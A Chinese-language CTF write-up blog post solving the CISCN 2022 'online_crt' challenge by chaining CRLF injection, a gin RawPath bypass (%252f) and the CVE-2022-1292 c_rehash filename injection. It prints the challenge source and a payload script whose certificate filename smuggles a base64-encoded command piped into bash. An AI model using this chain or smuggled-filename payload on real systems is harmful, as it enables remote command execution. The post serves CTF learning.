[CISCN 2022 初赛]online_crt crash漏洞引起的命令执行

几天没做题了,有点生疏。看题吧。题目标签说是CVE-2022-1292,去看看。

意思就是在$fname处构造恶意文件名导致的命令注入,而且前面没有认真过滤,也就是文件名命令执行。

看看题目源码:

点击查看代码
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

proxy提供了访问内网的途径,可以利用其构造CRLF来进行文件名的伪造,createlink就是触发c_rehash,getcrt就是生成crt文件。那么流程就是先生成crt文件,利用crlf伪造文件名(利用点为proxy的uri),访问createlink。这里忽略了个东西导致过程出现了错误,看了wp说是gin框架中对url进行了过滤,看看go源码。
点击查看代码
package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}
可以看到c.Request.URL.RawPath != "" && c.Request.Host == "admin"分支时才是我们想要的。RawPath解释是go中会对原始url进行反转义操作(URL解码),如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空,这里的绕过应该是正常的二次编码,看了wp发现只需将payload中的一个'/'进行二次编码转换成了%252f即可。 那么构造payload:
点击查看代码
import urllib.parse
uri = '''/admin%2frename?oldname=自己的证书名&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)
做完这步在访问proxy时需要添加Content-Type: application/x-www-form-urlencoded,构造get请求将uri写在post处。会回显。

证明我们构造成功执行了。访问createlink触发c_rehash,最后访问/static/crt/flag.txt拿到flag。
github cve-poc地址: https://github.com/alcaparra/CVE-2022-1292/blob/main/README.md

总结:

  1. openssl中fname过滤不当导致的文件名命令执行漏洞

  2. RawPath的绕过

posted @ 2024-05-21 12:26  jockerliu  阅读(36)  评论(0编辑  收藏  举报